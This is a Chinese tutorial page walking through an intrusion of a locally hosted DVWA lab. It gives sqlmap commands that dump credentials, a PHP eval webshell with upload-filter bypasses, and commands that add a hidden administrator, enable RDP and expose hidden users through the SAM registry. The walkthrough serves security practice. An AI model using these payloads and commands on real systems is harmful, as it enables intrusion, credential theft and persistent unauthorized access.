zl程序教程

您现在的位置是:首页 >  其他

当前栏目

Web安全 SQL注入 || 文件上传 的漏洞.(拿到服务器的最高权限.)

2023-09-27 14:29:29 时间

Web安全 SQL注入 || 文件上传 的漏洞.

免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


靶场:

本地自己搭建的DVWA靶场:Win XP(IP地址:192.168.0.104)

DVWA靶场搭建链接:DVWA的靶场搭建_半个西瓜.的博客-CSDN博客


1. 找到注入点并进行 sql 注入攻击(测试是 利用DVWA的SQL注入来测试),获取数据库中的管理员账号和密码.

第一步:命令.

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --dbs

--batch 】:默认sqlmap工具提出的(是否)为:y        【--dbs】:显示站点所有数据库

这里可以看到多个sql 注入漏洞,也可以看到有多个数据库


第二步:命令:

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --tables -D "dvwa"

--tables -D "dvwa"】:把dvwa数据库中的所有的表显示出来.

可以看到dvwa数据库有二个表:guestbook | users


 第三步:命令:

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --columns -T 'users'

【-columns -T 'users'】:把users表中的所有列显示出来.

 可以看到users表中的所有列.


第四步: 命令:

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --dump -C "user,password"

--dump -C "user,password"】:把user 和 password 列的中的内容显示出来.

 可以看到所有账号和密码,这样就可以去登录了.


2. 尝试找到网站的后台并进行登录.

网站后台扫描工具:dirb 
dirb http://192.168.0.104:801/ 

3. 寻找后台存在漏洞的上传点,编写一句话木马并绕过上传,利用一句话木马查看上传文件(测试是 利用DVWA的上传漏洞来测试).

第一步:准备一个<一句话木马>,bgxg是菜刀的连接密码.

<?php
    @eval($_POST["bgxg"])
?>

第二步:把写好的 <一句话木马> 上传到服务器后台.


 中途可能有一些限制,所有这里可以用Burp来抓包,绕过比较简单的一些限制.

(1)绕过 文件类型 方式:把php的文件类型:application/x-php 改为图形类型:image/jpeg
(2)绕过 文件后缀名 方式:在文件命名的时候 .php 的后面加 .png 或 .jpeg        
比如:bgxg.php.png        然后再把 .ing 删除就行.
            

第三步:然后去浏览 bgxg.php 的链接看看是否存在.


第四步:打开菜刀工具,右键点击,选择添加  把上传的php文件的位置链接写上去后面的是一句话木马的连接密码.


第五步:点击添加.        (到这你就可以随意下载和上传文件了,也可以虚拟终端.


4. 利用一句话木马进入服务器后,尝试找到藏在管理员用户开机自启文件夹中的 flag 文件测试是 利用DVWA的上传漏洞来测试).

Win XP的管理员用户开机自启文件在:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\

5. 该服务器上存在一隐藏用户,尝试从注册表中找到这个隐藏用户.

第一步:在菜刀里打开虚拟终端,添加管理员账号

(1)添加新的用户:    net user 用户名 密码 /add
(2)权限提升为管理员:    net localgroup Administrators 用户名 /add
(3)查看用户名信息:    net user 新增的用户名

第二步:查看有没有开启3389端口

(1)查看所有开启的端口:netstat -ano


(2) 开启3389端口:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


第三步:远程连接:

用渗透机(kali):sudo xfreerdp /u:bgxg /p:bgxg /v:192.168.0.104 
               (sudo xfreerdp /u:用户名 /p:密码 /v:要连接的IP地址)

连接成功:


第四步:

 (1)按"win+R" 执行 regedit 命令 进注册表
 (2)在 HKEY_LOCAL_MACHINE下的SAM    然后administrator的用户给予:完全控制以及读取的权限,在后面打勾,然后关闭注册表。

(3)再次打开注册表,查看目录:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names


参考链接:注册表中查看隐藏用户SAM_luminous_you的博客-CSDN博客_注册表查看隐藏账户